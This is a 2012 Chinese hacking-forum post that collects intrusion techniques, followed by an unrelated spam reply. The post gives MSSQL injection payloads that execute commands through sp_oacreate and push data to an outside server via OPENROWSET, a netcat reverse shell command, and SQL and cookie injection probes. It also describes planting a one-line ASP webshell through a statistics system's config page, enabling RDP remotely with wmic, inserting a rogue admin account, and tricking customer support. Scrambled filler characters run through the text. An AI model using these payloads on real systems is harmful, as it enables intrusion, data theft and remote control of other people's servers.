找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3927|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关
, y# X% X* ]9 q+ W3 Y' V5 w5 t0 c8 ]8 J0 _/ e6 J! p

5 V2 A- }/ w" E  D  @0 tSA点数据库分离搞法+语句:
' {* t8 {# x7 z& |  x5 `
7 _# Z3 |" s. ?) {; O$ l# f注射点不显错,执行下面三条语句页面都返回正常。3 M- K% ?# V* p0 ?
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'): V/ t9 p3 V* s+ E' z
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask'). \1 B1 g6 K  \+ j
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')6 Q' Y# p8 n. e6 Z
可以列目录,判断系统为2000,web与数据库分离, _7 P" g$ n. h8 g/ e
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。  s! A; T& p) }4 _6 W9 ^# B
在注射点上执行
- |  B8 C% N3 L- z( i  adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
  h& K& A5 S" X: ?  s# C页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
, J% h# R& i% t& j8 P7 I0 J6 N6 J! N还有我用NC监听得其他端口都没有得到IP。+ i: a; ]/ _) k" _

( s! t/ n% G0 Y( v7 E+ ^2 I2 }通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。! A0 I8 [' {! {
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
) ~' W9 a( [1 Z& S% Z) R8 e8 [# W  |0 p
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--, C6 {; M7 Y. U$ a/ ?
% G: t! O. p; E  o, m. |% A
现在就猜想是不是数据库是内网而且不能连外网。
/ |' b2 M' S1 j9 [
0 j* Z8 s' \' u2 Z
$ d- l8 ]7 }# `8 N) Y  _access导出txt文本代码% l5 q% T% a+ \: h5 }
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
2 S9 T2 }/ z/ g7 u6 \% G# m4 o
6 D9 i9 a/ ?9 S8 g: L) {) |
! V' H& u+ h! g4 g
自动跳转到指定网站代码头9 |, F/ L; @9 \+ R
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>/ D3 W! v0 _( j" ~% H
" R: Y- S: _( G. Y& Q' W
! \  i8 k% A! I; s8 ]% x
入侵java or jsp站点时默认配置文件路径:
( y2 p) Y6 `0 ?( F, N, f$ |\web-inf\web.xml3 ]- U* S* Z" U
tomcat下的配置文件位置:
/ d, s; v. f; L! q# L\conf\server.xml            (前面加上tomcat路径)1 i3 \2 p' `* f8 B2 e5 Z1 x
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
; W4 E$ n  R: _; s( T4 I4 s* L" C* H
2 P( e. Q8 T+ N" Q- U

: k+ s3 A0 ]  w- w+ R检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
3 r* a  W7 f* F0 f# C& ~-1%233 P& ~% o5 i* U' [. a
> % d; _; K! g' W: q& S/ E
<! a3 s8 d; D4 p5 H" o
1'+or+'1'='1
8 S# \: }3 p7 i& Xid=8%bf) l4 @  O) x& S0 D" F$ K

6 Z5 X" z# C) ^3 o1 \, M全新注入点检测试法:
( i+ Y* m: b1 j4 o在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。5 p3 `" d/ N8 _
, P# }0 A3 ?6 M
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。% p5 d" i7 P/ g; _! H
+ h& f1 G* U8 ^! @0 a
搜索型注入判断方法:: J) U' B& V: V' V7 Q0 G& g2 m
北京%' and '1'='1' and '%'='
: f. ?3 d/ k0 i1 \. K7 K北京%' and '1'='2' and '%'='& ]2 ~5 h! y; j
) E( e& {1 ~* m( e: }$ d8 O

3 q7 N7 s2 ]4 F! fCOOKIES注入:# i5 s7 l# a# h; S
# y2 E( |2 ^5 B6 `5 B) D
javascript:alert(document.cookie="id="+escape("51 and 1=1"));# R8 a, L! w4 y" j3 e, V+ r5 M

5 z( j$ I- G0 f  d2000专业版查看本地登录用户命令:
/ x; ]( @$ O/ `: v' ~, lnet config workstation
* E$ |7 I6 H8 U# u9 Y7 P, U9 \1 J0 i/ z
+ k' y. w3 I$ }$ ~4 b
2003下查看ipsec配置和默认防火墙配置命令:) Y/ p' z& c: @$ O/ K5 U2 r
netsh firewall show config+ b  b/ ^2 \( F2 g) X% i' [
netsh ipsec static show all5 X) u, t3 E  o
8 M' X9 K: T3 \
不指派指定策略命令:
" c* d, y$ Y7 a: ^  Tnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
, J) _9 [: Z/ \0 d9 C5 Qnetsh ipsec static show policy all  显示策略名* d4 x9 M+ u. L4 z4 I/ l- m$ p4 \" {, q

9 v; S, ]  ^- V0 K8 |, f$ s
5 L) b& _8 X$ M猜管理员后台小技巧:
& X3 P# R1 w' N7 s3 Q- G6 {. @admin/left.asp & e4 ]& z1 v% b5 V
admin/main.asp
) n! z* p8 ^3 Radmin/top.asp
: d+ K8 M8 ?" oadmin/admin.asp & Z# ?- C& t( {5 z8 I8 @
会现出菜单导航,然后迅雷下载全部链接
0 @4 l- H6 f# N2 i$ w
+ K% k: l6 ?5 Y( S5 i/ L- B4 `" ?9 }5 _4 o
社会工程学:
* t# n  V/ t* [: ~# \用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
3 U+ n: a! ^; E- ]$ F然后去骗客服
! Z4 ~2 i( U3 p- ^2 N! ]
$ p! K- m! N+ H7 p+ T1 }2 }  W0 E4 l0 y9 ?& ]; B8 @. x
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
3 g% Z3 A) x; M, c$ n查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
" l# }7 b7 ^9 J/ {' j  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
( I: O$ G5 `# ~
5 j! ]& V" m6 E1 X# k8 I
5 M5 H) s8 N* _
1 p0 X% @  A; q0 Q6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
0 P! A' K4 K: ^' {1 D1 D* V3 s* @) P% m8 B6 t* h
; w2 X$ D( j& _; v& w6 b7 b1 A- L- x
/ u- ?. l0 i2 i
CMD加密注册表位置
7 H! H5 B+ B1 w+ m. n& c(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor5 Z  d/ w2 b* n8 i* i
AutoRun# Q/ J* V0 ?4 B6 ^+ Z7 p

3 J: |6 F5 C( w4 r(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
2 {' N' {& b# p- `AutoRun
! Q3 R& c$ D8 _) S- y& p+ `" G
* R, K( G* j) j! g% V6 d. A  [2 m0 z0 q$ H( J$ U8 ^
在找注入时搜索Hidden,把他改成test
/ i3 l6 R$ n" ?! _% E
7 _& c5 B: V9 @# k/ A8 t% _
, d4 O  Y+ C" P# H+ }8 G
) W' @. R/ b2 H* c' O4 z3 Amstsc /v:IP /console % {( C7 A7 B$ c6 H( \6 d. X& m  z
) K: {$ w. ]2 h" j
& e1 @- z" d: N
一句话开3389:
  l9 r7 a3 x6 z5 T! ~: u  ]2 I2 v+ A
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  , o! z% `( s( k8 F5 b' {- J
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
" w2 r" Z0 ?# `- X" }1 w2 d" I* R' Q2 `% z

: f2 y- W: l# `( V. K) q  e/ p1 K知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
; x6 _% `, c2 r3 N  C: I% xInsert into admin(user,pwd) values('test','test')
3 a( Z. L5 w: c6 b2 s6 c6 B8 _) x# N% V, U4 u. ~

4 b* ?/ Z9 T4 ^  p" b' gNC反弹' Q1 N  o+ \+ h( j1 ]
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   ' K! t: x/ S% e
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
0 p4 Z  g' K: _& ~9 n3 n7 x3 ]
+ A9 w6 V8 r. h0 W; ^1 }; m
4 j# I# \1 J4 |5 L& D在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
8 K' t6 t  [8 Q( [
  Q4 M0 }. J+ D7 S有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
0 h- U6 u( p' X" M例如:
# t. R2 T7 i! v1 j( Zsubst k: d:\www\ 用d盘www目录替代k盘+ Y& i/ ~0 X1 @9 V# o: \
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表